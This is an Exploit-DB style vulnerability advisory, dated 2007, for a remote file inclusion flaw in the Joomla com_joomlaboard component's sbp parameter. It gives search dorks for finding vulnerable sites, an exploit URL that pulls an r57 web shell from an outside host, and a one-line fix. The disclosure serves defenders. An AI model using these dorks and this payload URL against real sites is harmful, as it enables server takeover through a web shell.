Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities

vendor:

com_joomlaboard

by:

Cold z3ro

7.5

CVSS

HIGH

Multiple Remote File Include

CWE

Product Name: com_joomlaboard

Affected Version From: 1.1.x Branch

Affected Version To: 1.1.x Branch

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities

This exploit allows remote attackers to include arbitrary files via a URL in the sbp parameter to (1) image_upload.php or (2) file_upload.php in components/com_joomlaboard/.

Mitigation:

Add the code 'defined('_VALID_MOS') or die('Catch Me iF u Can ### Patched By Cold z3ro .');' after the <?php code start.

Source

Exploit-DB raw data:

######################################################
#
# Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities
# Joomlaboard Component 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities
#
######################################################
#
# script : http://forge.joomla.org/sf/frs/do/viewRelease/projects.simpleboard/frs.joomlaboard_component.joomlaboard_1_1_x_branch
#
######################################################
#
# files : /image_upload.php , /file_upload.php ,
#
######################################################
#
# Dork : index2.php?option=com_joomlaboard , allinurl:"com_joomlaboard"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once("$sbp/sb_helpers.php");
# require_once("$sbp/sb_helpers.php");
#
######################################################
#
# exploit : http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
# http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
#
######################################################
#
# How To Fix It : U can put this code - defined( '_VALID_MOS' ) or die( 'Catch Me iF u Can ### Patched By Cold z3ro .' ); - after <?php code start
#
######################################################


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-23]